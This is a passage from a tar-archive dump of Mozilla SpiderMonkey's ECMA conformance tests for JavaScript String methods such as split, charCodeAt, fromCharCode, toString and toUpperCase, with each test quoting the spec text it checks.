searching from left to right for occurrences of the given separator; these occurrences are not part of any substring in the returned array, but serve to divide up this string value. The separator may be a string of any length. As a special case, if the separator is the empty string, the string is split up into individual characters; the length of the result array equals the length of the string, and each substring contains one character. If the separator is not supplied, then the result array contains just one string, which is the string. When the split method is called with one argument separator, the following steps are taken: 1. Call ToString, giving it the this value as its argument. 2. Create a new Array object of length 0 and call it A. 3. If separator is not supplied, call the [[Put]] method of A with 0 and Result(1) as arguments, and then return A. 4. Call ToString(separator). 5. Compute the number of characters in Result(1). 6. Compute the number of characters in the string that is Result(4). 7. Let p be 0. 8. If Result(6) is zero (the separator string is empty), go to step 17. 9. Compute the smallest possible integer k not smaller than p such that k+Result(6) is not greater than Result(5), and for all nonnegative integers j less than Result(6), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then go to step 14. 10. Compute a string value equal to the substring of Result(1), consisting of the characters at positions p through k1, inclusive. 11. Call the [[Put]] method of A with A.length and Result(10) as arguments. 12. Let p be k+Result(6). 13. Go to step 9. 14. Compute a string value equal to the substring of Result(1), consisting of the characters from position p to the end of Result(1). 15. Call the [[Put]] method of A with A.length and Result(14) as arguments. 16. Return A. 17. If p equals Result(5), return A. 18. Compute a string value equal to the substring of Result(1), consisting of the single character at position p. 19. Call the [[Put]] method of A with A.length and Result(18) as arguments. 20. Increase p by 1. 21. Go to step 17. Note that the split function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.8-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.split"; writeHeaderToLog( SECTION + " "+ TITLE); // case where separator is the empty string. var TEST_STRING = "this is a string object"; new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split('').length", TEST_STRING.length, eval("var s = new String( TEST_STRING ); s.split('').length") ); for ( var i = 0; i < TEST_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split('')["+i+"]", TEST_STRING.charAt(i), eval("var s = new String( TEST_STRING ); s.split('')["+i+"]") ); } // case where the value of the separator is undefined. in this case, // the this value is returned. var TEST_STRING = "thisundefinedisundefinedaundefinedstringundefinedobject"; var EXPECT_STRING = new Array( TEST_STRING ); new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split(void 0).length", EXPECT_STRING.length, eval("var s = new String( TEST_STRING ); s.split(void 0).length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split(void 0)["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split(void 0)["+i+"]") ); } // case where the value of the separator is null. in this case the value of the separator is "null". TEST_STRING = "thisnullisnullanullstringnullobject"; var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" ); new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split(null).length", EXPECT_STRING.length, eval("var s = new String( TEST_STRING ); s.split(null).length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split(null)["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split(null)["+i+"]") ); } // case where the value of the separator is a boolean. TEST_STRING = "thistrueistrueatruestringtrueobject"; var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" ); new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split(true).length", EXPECT_STRING.length, eval("var s = new String( TEST_STRING ); s.split(true).length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split(true)["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split(true)["+i+"]") ); } // case where the value of the separator is a number TEST_STRING = "this123is123a123string123object"; var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" ); new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split(123).length", EXPECT_STRING.length, eval("var s = new String( TEST_STRING ); s.split(123).length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split(123)["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split(123)["+i+"]") ); } // case where the value of the separator is a number TEST_STRING = "this123is123a123string123object"; var EXPECT_STRING = new Array( "this", "is", "a", "string", "object" ); new TestCase( SECTION, "var s = new String( "+ TEST_STRING +" ); s.split(123).length", EXPECT_STRING.length, eval("var s = new String( TEST_STRING ); s.split(123).length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split(123)["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split(123)["+i+"]") ); } // case where the separator is not in the string TEST_STRING = "this is a string"; EXPECT_STRING = new Array( "this is a string" ); new TestCase( SECTION, "var s = new String( " + TEST_STRING + " ); s.split(':').length", 1, eval("var s = new String( TEST_STRING ); s.split(':').length") ); new TestCase( SECTION, "var s = new String( " + TEST_STRING + " ); s.split(':')[0]", TEST_STRING, eval("var s = new String( TEST_STRING ); s.split(':')[0]") ); // case where part but not all of separator is in the string. TEST_STRING = "this is a string"; EXPECT_STRING = new Array( "this is a string" ); new TestCase( SECTION, "var s = new String( " + TEST_STRING + " ); s.split('strings').length", 1, eval("var s = new String( TEST_STRING ); s.split('strings').length") ); new TestCase( SECTION, "var s = new String( " + TEST_STRING + " ); s.split('strings')[0]", TEST_STRING, eval("var s = new String( TEST_STRING ); s.split('strings')[0]") ); // case where the separator is at the end of the string TEST_STRING = "this is a string"; EXPECT_STRING = new Array( "this is a " ); new TestCase( SECTION, "var s = new String( " + TEST_STRING + " ); s.split('string').length", 2, eval("var s = new String( TEST_STRING ); s.split('string').length") ); for ( var i = 0; i < EXPECT_STRING.length; i++ ) { new TestCase( SECTION, "var s = new String( "+TEST_STRING+" ); s.split('string')["+i+"]", EXPECT_STRING[i], eval("var s = new String( TEST_STRING ); s.split('string')["+i+"]") ); } test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.5-3.js0000664000175000017500000001174312106270663020722 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5-3.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a number (a nonnegative integer less than 2^16) representing the Unicode encoding of the character at position pos in this string. If there is no character at that position, the number is NaN. When the charCodeAt method is called with one argument pos, the following steps are taken: 1. Call ToString, giving it the theis value as its argument 2. Call ToInteger(pos) 3. Compute the number of characters in result(1). 4. If Result(2) is less than 0 or is not less than Result(3), return NaN. 5. Return a value of Number type, of positive sign, whose magnitude is the Unicode encoding of one character from result 1, namely the characer at position Result (2), where the first character in Result(1) is considered to be at position 0. Note that the charCodeAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.5-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charCodeAt"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); var foo = new MyObject('hello'); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(0)", 0x0068, foo.charCodeAt(0) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(1)", 0x0065, foo.charCodeAt(1) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(2)", 0x006c, foo.charCodeAt(2) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(3)", 0x006c, foo.charCodeAt(3) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(4)", 0x006f, foo.charCodeAt(4) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(-1)", Number.NaN, foo.charCodeAt(-1) ); new TestCase( SECTION, "var foo = new MyObject('hello');foo.charCodeAt(5)", Number.NaN, foo.charCodeAt(5) ); var boo = new MyObject(true); new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(0)", 0x0074, boo.charCodeAt(0) ); new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(1)", 0x0072, boo.charCodeAt(1) ); new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(2)", 0x0075, boo.charCodeAt(2) ); new TestCase( SECTION, "var boo = new MyObject(true);boo.charCodeAt(3)", 0x0065, boo.charCodeAt(3) ); var noo = new MyObject( Math.PI ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(0)", 0x0033, noo.charCodeAt(0) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(1)", 0x002E, noo.charCodeAt(1) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(2)", 0x0031, noo.charCodeAt(2) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(3)", 0x0034, noo.charCodeAt(3) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(4)", 0x0031, noo.charCodeAt(4) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(5)", 0x0035, noo.charCodeAt(5) ); new TestCase( SECTION, "var noo = new MyObject(Math.PI);noo.charCodeAt(6)", 0x0039, noo.charCodeAt(6) ); var noo = new MyObject( null ); new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(0)", 0x006E, noo.charCodeAt(0) ); new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(1)", 0x0075, noo.charCodeAt(1) ); new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(2)", 0x006C, noo.charCodeAt(2) ); new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(3)", 0x006C, noo.charCodeAt(3) ); new TestCase( SECTION, "var noo = new MyObject(null);noo.charCodeAt(4)", NaN, noo.charCodeAt(4) ); var noo = new MyObject( void 0 ); new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(0)", 0x0075, noo.charCodeAt(0) ); new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(1)", 0x006E, noo.charCodeAt(1) ); new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(2)", 0x0064, noo.charCodeAt(2) ); new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(3)", 0x0065, noo.charCodeAt(3) ); new TestCase( SECTION, "var noo = new MyObject(void 0);noo.charCodeAt(4)", 0x0066, noo.charCodeAt(4) ); test(); function MyObject (v) { this.value = v; this.toString = new Function ( "return this.value +\"\"" ); this.charCodeAt = String.prototype.charCodeAt; } mozjs17.0.0/js/src/tests/ecma/String/15.5.3.2-1.js0000664000175000017500000003066712106270663020722 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.2-1.js ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... ) Description: Return a string value containing as many characters as the number of arguments. Each argument specifies one character of the resulting string, with the first argument specifying the first character, and so on, from left to right. An argument is converted to a character by applying the operation ToUint16_t and regarding the resulting 16bit integeras the Unicode encoding of a character. If no arguments are supplied, the result is the empty string. This test covers Basic Latin (range U+0020 - U+007F) Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.3.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.fromCharCode()"; new TestCase( SECTION, "typeof String.fromCharCode", "function", typeof String.fromCharCode ); new TestCase( SECTION, "typeof String.prototype.fromCharCode", "undefined", typeof String.prototype.fromCharCode ); new TestCase( SECTION, "var x = new String(); typeof x.fromCharCode", "undefined", eval("var x = new String(); typeof x.fromCharCode") ); new TestCase( SECTION, "String.fromCharCode.length", 1, String.fromCharCode.length ); new TestCase( SECTION, "String.fromCharCode()", "", String.fromCharCode() ); new TestCase( SECTION, "String.fromCharCode(0x0020)", " ", String.fromCharCode(0x0020) ); new TestCase( SECTION, "String.fromCharCode(0x0021)", "!", String.fromCharCode(0x0021) ); new TestCase( SECTION, "String.fromCharCode(0x0022)", "\"", String.fromCharCode(0x0022) ); new TestCase( SECTION, "String.fromCharCode(0x0023)", "#", String.fromCharCode(0x0023) ); new TestCase( SECTION, "String.fromCharCode(0x0024)", "$", String.fromCharCode(0x0024) ); new TestCase( SECTION, "String.fromCharCode(0x0025)", "%", String.fromCharCode(0x0025) ); new TestCase( SECTION, "String.fromCharCode(0x0026)", "&", String.fromCharCode(0x0026) ); new TestCase( SECTION, "String.fromCharCode(0x0027)", "\'", String.fromCharCode(0x0027) ); new TestCase( SECTION, "String.fromCharCode(0x0028)", "(", String.fromCharCode(0x0028) ); new TestCase( SECTION, "String.fromCharCode(0x0029)", ")", String.fromCharCode(0x0029) ); new TestCase( SECTION, "String.fromCharCode(0x002A)", "*", String.fromCharCode(0x002A) ); new TestCase( SECTION, "String.fromCharCode(0x002B)", "+", String.fromCharCode(0x002B) ); new TestCase( SECTION, "String.fromCharCode(0x002C)", ",", String.fromCharCode(0x002C) ); new TestCase( SECTION, "String.fromCharCode(0x002D)", "-", String.fromCharCode(0x002D) ); new TestCase( SECTION, "String.fromCharCode(0x002E)", ".", String.fromCharCode(0x002E) ); new TestCase( SECTION, "String.fromCharCode(0x002F)", "/", String.fromCharCode(0x002F) ); new TestCase( SECTION, "String.fromCharCode(0x0030)", "0", String.fromCharCode(0x0030) ); new TestCase( SECTION, "String.fromCharCode(0x0031)", "1", String.fromCharCode(0x0031) ); new TestCase( SECTION, "String.fromCharCode(0x0032)", "2", String.fromCharCode(0x0032) ); new TestCase( SECTION, "String.fromCharCode(0x0033)", "3", String.fromCharCode(0x0033) ); new TestCase( SECTION, "String.fromCharCode(0x0034)", "4", String.fromCharCode(0x0034) ); new TestCase( SECTION, "String.fromCharCode(0x0035)", "5", String.fromCharCode(0x0035) ); new TestCase( SECTION, "String.fromCharCode(0x0036)", "6", String.fromCharCode(0x0036) ); new TestCase( SECTION, "String.fromCharCode(0x0037)", "7", String.fromCharCode(0x0037) ); new TestCase( SECTION, "String.fromCharCode(0x0038)", "8", String.fromCharCode(0x0038) ); new TestCase( SECTION, "String.fromCharCode(0x0039)", "9", String.fromCharCode(0x0039) ); new TestCase( SECTION, "String.fromCharCode(0x003A)", ":", String.fromCharCode(0x003A) ); new TestCase( SECTION, "String.fromCharCode(0x003B)", ";", String.fromCharCode(0x003B) ); new TestCase( SECTION, "String.fromCharCode(0x003C)", "<", String.fromCharCode(0x003C) ); new TestCase( SECTION, "String.fromCharCode(0x003D)", "=", String.fromCharCode(0x003D) ); new TestCase( SECTION, "String.fromCharCode(0x003E)", ">", String.fromCharCode(0x003E) ); new TestCase( SECTION, "String.fromCharCode(0x003F)", "?", String.fromCharCode(0x003F) ); new TestCase( SECTION, "String.fromCharCode(0x0040)", "@", String.fromCharCode(0x0040) ); new TestCase( SECTION, "String.fromCharCode(0x0041)", "A", String.fromCharCode(0x0041) ); new TestCase( SECTION, "String.fromCharCode(0x0042)", "B", String.fromCharCode(0x0042) ); new TestCase( SECTION, "String.fromCharCode(0x0043)", "C", String.fromCharCode(0x0043) ); new TestCase( SECTION, "String.fromCharCode(0x0044)", "D", String.fromCharCode(0x0044) ); new TestCase( SECTION, "String.fromCharCode(0x0045)", "E", String.fromCharCode(0x0045) ); new TestCase( SECTION, "String.fromCharCode(0x0046)", "F", String.fromCharCode(0x0046) ); new TestCase( SECTION, "String.fromCharCode(0x0047)", "G", String.fromCharCode(0x0047) ); new TestCase( SECTION, "String.fromCharCode(0x0048)", "H", String.fromCharCode(0x0048) ); new TestCase( SECTION, "String.fromCharCode(0x0049)", "I", String.fromCharCode(0x0049) ); new TestCase( SECTION, "String.fromCharCode(0x004A)", "J", String.fromCharCode(0x004A) ); new TestCase( SECTION, "String.fromCharCode(0x004B)", "K", String.fromCharCode(0x004B) ); new TestCase( SECTION, "String.fromCharCode(0x004C)", "L", String.fromCharCode(0x004C) ); new TestCase( SECTION, "String.fromCharCode(0x004D)", "M", String.fromCharCode(0x004D) ); new TestCase( SECTION, "String.fromCharCode(0x004E)", "N", String.fromCharCode(0x004E) ); new TestCase( SECTION, "String.fromCharCode(0x004F)", "O", String.fromCharCode(0x004F) ); new TestCase( SECTION, "String.fromCharCode(0x0040)", "@", String.fromCharCode(0x0040) ); new TestCase( SECTION, "String.fromCharCode(0x0041)", "A", String.fromCharCode(0x0041) ); new TestCase( SECTION, "String.fromCharCode(0x0042)", "B", String.fromCharCode(0x0042) ); new TestCase( SECTION, "String.fromCharCode(0x0043)", "C", String.fromCharCode(0x0043) ); new TestCase( SECTION, "String.fromCharCode(0x0044)", "D", String.fromCharCode(0x0044) ); new TestCase( SECTION, "String.fromCharCode(0x0045)", "E", String.fromCharCode(0x0045) ); new TestCase( SECTION, "String.fromCharCode(0x0046)", "F", String.fromCharCode(0x0046) ); new TestCase( SECTION, "String.fromCharCode(0x0047)", "G", String.fromCharCode(0x0047) ); new TestCase( SECTION, "String.fromCharCode(0x0048)", "H", String.fromCharCode(0x0048) ); new TestCase( SECTION, "String.fromCharCode(0x0049)", "I", String.fromCharCode(0x0049) ); new TestCase( SECTION, "String.fromCharCode(0x004A)", "J", String.fromCharCode(0x004A) ); new TestCase( SECTION, "String.fromCharCode(0x004B)", "K", String.fromCharCode(0x004B) ); new TestCase( SECTION, "String.fromCharCode(0x004C)", "L", String.fromCharCode(0x004C) ); new TestCase( SECTION, "String.fromCharCode(0x004D)", "M", String.fromCharCode(0x004D) ); new TestCase( SECTION, "String.fromCharCode(0x004E)", "N", String.fromCharCode(0x004E) ); new TestCase( SECTION, "String.fromCharCode(0x004F)", "O", String.fromCharCode(0x004F) ); new TestCase( SECTION, "String.fromCharCode(0x0050)", "P", String.fromCharCode(0x0050) ); new TestCase( SECTION, "String.fromCharCode(0x0051)", "Q", String.fromCharCode(0x0051) ); new TestCase( SECTION, "String.fromCharCode(0x0052)", "R", String.fromCharCode(0x0052) ); new TestCase( SECTION, "String.fromCharCode(0x0053)", "S", String.fromCharCode(0x0053) ); new TestCase( SECTION, "String.fromCharCode(0x0054)", "T", String.fromCharCode(0x0054) ); new TestCase( SECTION, "String.fromCharCode(0x0055)", "U", String.fromCharCode(0x0055) ); new TestCase( SECTION, "String.fromCharCode(0x0056)", "V", String.fromCharCode(0x0056) ); new TestCase( SECTION, "String.fromCharCode(0x0057)", "W", String.fromCharCode(0x0057) ); new TestCase( SECTION, "String.fromCharCode(0x0058)", "X", String.fromCharCode(0x0058) ); new TestCase( SECTION, "String.fromCharCode(0x0059)", "Y", String.fromCharCode(0x0059) ); new TestCase( SECTION, "String.fromCharCode(0x005A)", "Z", String.fromCharCode(0x005A) ); new TestCase( SECTION, "String.fromCharCode(0x005B)", "[", String.fromCharCode(0x005B) ); new TestCase( SECTION, "String.fromCharCode(0x005C)", "\\", String.fromCharCode(0x005C) ); new TestCase( SECTION, "String.fromCharCode(0x005D)", "]", String.fromCharCode(0x005D) ); new TestCase( SECTION, "String.fromCharCode(0x005E)", "^", String.fromCharCode(0x005E) ); new TestCase( SECTION, "String.fromCharCode(0x005F)", "_", String.fromCharCode(0x005F) ); new TestCase( SECTION, "String.fromCharCode(0x0060)", "`", String.fromCharCode(0x0060) ); new TestCase( SECTION, "String.fromCharCode(0x0061)", "a", String.fromCharCode(0x0061) ); new TestCase( SECTION, "String.fromCharCode(0x0062)", "b", String.fromCharCode(0x0062) ); new TestCase( SECTION, "String.fromCharCode(0x0063)", "c", String.fromCharCode(0x0063) ); new TestCase( SECTION, "String.fromCharCode(0x0064)", "d", String.fromCharCode(0x0064) ); new TestCase( SECTION, "String.fromCharCode(0x0065)", "e", String.fromCharCode(0x0065) ); new TestCase( SECTION, "String.fromCharCode(0x0066)", "f", String.fromCharCode(0x0066) ); new TestCase( SECTION, "String.fromCharCode(0x0067)", "g", String.fromCharCode(0x0067) ); new TestCase( SECTION, "String.fromCharCode(0x0068)", "h", String.fromCharCode(0x0068) ); new TestCase( SECTION, "String.fromCharCode(0x0069)", "i", String.fromCharCode(0x0069) ); new TestCase( SECTION, "String.fromCharCode(0x006A)", "j", String.fromCharCode(0x006A) ); new TestCase( SECTION, "String.fromCharCode(0x006B)", "k", String.fromCharCode(0x006B) ); new TestCase( SECTION, "String.fromCharCode(0x006C)", "l", String.fromCharCode(0x006C) ); new TestCase( SECTION, "String.fromCharCode(0x006D)", "m", String.fromCharCode(0x006D) ); new TestCase( SECTION, "String.fromCharCode(0x006E)", "n", String.fromCharCode(0x006E) ); new TestCase( SECTION, "String.fromCharCode(0x006F)", "o", String.fromCharCode(0x006F) ); new TestCase( SECTION, "String.fromCharCode(0x0070)", "p", String.fromCharCode(0x0070) ); new TestCase( SECTION, "String.fromCharCode(0x0071)", "q", String.fromCharCode(0x0071) ); new TestCase( SECTION, "String.fromCharCode(0x0072)", "r", String.fromCharCode(0x0072) ); new TestCase( SECTION, "String.fromCharCode(0x0073)", "s", String.fromCharCode(0x0073) ); new TestCase( SECTION, "String.fromCharCode(0x0074)", "t", String.fromCharCode(0x0074) ); new TestCase( SECTION, "String.fromCharCode(0x0075)", "u", String.fromCharCode(0x0075) ); new TestCase( SECTION, "String.fromCharCode(0x0076)", "v", String.fromCharCode(0x0076) ); new TestCase( SECTION, "String.fromCharCode(0x0077)", "w", String.fromCharCode(0x0077) ); new TestCase( SECTION, "String.fromCharCode(0x0078)", "x", String.fromCharCode(0x0078) ); new TestCase( SECTION, "String.fromCharCode(0x0079)", "y", String.fromCharCode(0x0079) ); new TestCase( SECTION, "String.fromCharCode(0x007A)", "z", String.fromCharCode(0x007A) ); new TestCase( SECTION, "String.fromCharCode(0x007B)", "{", String.fromCharCode(0x007B) ); new TestCase( SECTION, "String.fromCharCode(0x007C)", "|", String.fromCharCode(0x007C) ); new TestCase( SECTION, "String.fromCharCode(0x007D)", "}", String.fromCharCode(0x007D) ); new TestCase( SECTION, "String.fromCharCode(0x007E)", "~", String.fromCharCode(0x007E) ); // new TestCase( SECTION, "String.fromCharCode(0x0020, 0x007F)", "", String.fromCharCode(0x0040, 0x007F) ); test(); mozjs17.0.0/js/src/tests/ecma/String/browser.js0000664000175000017500000000000012106270663021330 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/String/15.5.4.js0000664000175000017500000000352412106270663020415 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.js ECMA Section: 15.5.4 Properties of the String prototype object Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.5.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the String Prototype objecta"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.getClass = Object.prototype.toString; String.prototype.getClass()", "[object String]", eval("String.prototype.getClass = Object.prototype.toString; String.prototype.getClass()") ); delete String.prototype.getClass; new TestCase( SECTION, "typeof String.prototype", "object", typeof String.prototype ); new TestCase( SECTION, "String.prototype.valueOf()", "", String.prototype.valueOf() ); new TestCase( SECTION, "String.prototype +''", "", String.prototype + '' ); new TestCase( SECTION, "String.prototype.length", 0, String.prototype.length ); var prop; var value; value = ''; for (prop in "") { value += prop; } new TestCase( SECTION, 'String "" has no enumerable properties', '', value ); value = ''; for (prop in String.prototype) { value += prop; } new TestCase( SECTION, 'String.prototype has no enumerable properties', '', value ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.2-3.js0000664000175000017500000000411212106270663020707 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.2-3.js ECMA Section: 15.5.4.2 String.prototype.toString() Description: Returns this string value. Note that, for a String object, the toString() method happens to return the same thing as the valueOf() method. The toString function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var tostr=String.prototype.toString; astring=new String(); astring.toString = tostr; astring.toString()", "", eval("var tostr=String.prototype.toString; astring=new String(); astring.toString = tostr; astring.toString()") ); new TestCase( SECTION, "var tostr=String.prototype.toString; astring=new String(0); astring.toString = tostr; astring.toString()", "0", eval("var tostr=String.prototype.toString; astring=new String(0); astring.toString = tostr; astring.toString()") ); new TestCase( SECTION, "var tostr=String.prototype.toString; astring=new String('hello'); astring.toString = tostr; astring.toString()", "hello", eval("var tostr=String.prototype.toString; astring=new String('hello'); astring.toString = tostr; astring.toString()") ); new TestCase( SECTION, "var tostr=String.prototype.toString; astring=new String(''); astring.toString = tostr; astring.toString()", "", eval("var tostr=String.prototype.toString; astring=new String(''); astring.toString = tostr; astring.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.2-2-n.js0000664000175000017500000000263412106270663021150 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.2-2-n.js ECMA Section: 15.5.4.2 String.prototype.toString() Description: Returns this string value. Note that, for a String object, the toString() method happens to return the same thing as the valueOf() method. The toString function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.2-3-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toString"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()"; EXPECTED = "error"; new TestCase( SECTION, "var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()", "error", eval("var tostr=String.prototype.toString; astring=new Number(); astring.toString = tostr; astring.toString()") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.3.1-4.js0000664000175000017500000000201112106270663020702 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.3.1-4.js ECMA Section: 15.5.3.1 Properties of the String Constructor Description: The initial value of String.prototype is the built-in String prototype object. This property shall have the attributes [ DontEnum, DontDelete, ReadOnly] This tests the DontDelete attribute. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.3.1-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of the String Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( String.prototype );String.prototype", String.prototype, eval("delete ( String.prototype );String.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.12-3.js0000664000175000017500000002471012106270663020776 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.12-3.js ECMA Section: 15.5.4.12 String.prototype.toUpperCase() Description: Returns a string equal in length to the length of the result of converting this object to a string. The result is a string value, not a String object. Every character of the result is equal to the corresponding character of the string, unless that character has a Unicode 2.0 uppercase equivalent, in which case the uppercase equivalent is used instead. (The canonical Unicode 2.0 case mapping shall be used, which does not depend on implementation or locale.) Note that the toUpperCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.12-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toUpperCase()"; writeHeaderToLog( SECTION + " "+ TITLE); // Georgian // Range: U+10A0 to U+10FF for ( var i = 0x10A0; i <= 0x10FF; i++ ) { var U = new Unicode( i ); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()", String.fromCharCode(U.upper), eval("var s = new String( String.fromCharCode("+i+") ); s.toUpperCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toUpperCase().charCodeAt(0)", U.upper, eval("var s = new String( String.fromCharCode(i) ); s.toUpperCase().charCodeAt(0)") ); } // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF for ( var i = 0xFF00; i <= 0xFFEF; i++ ) { new TestCase( SECTION, 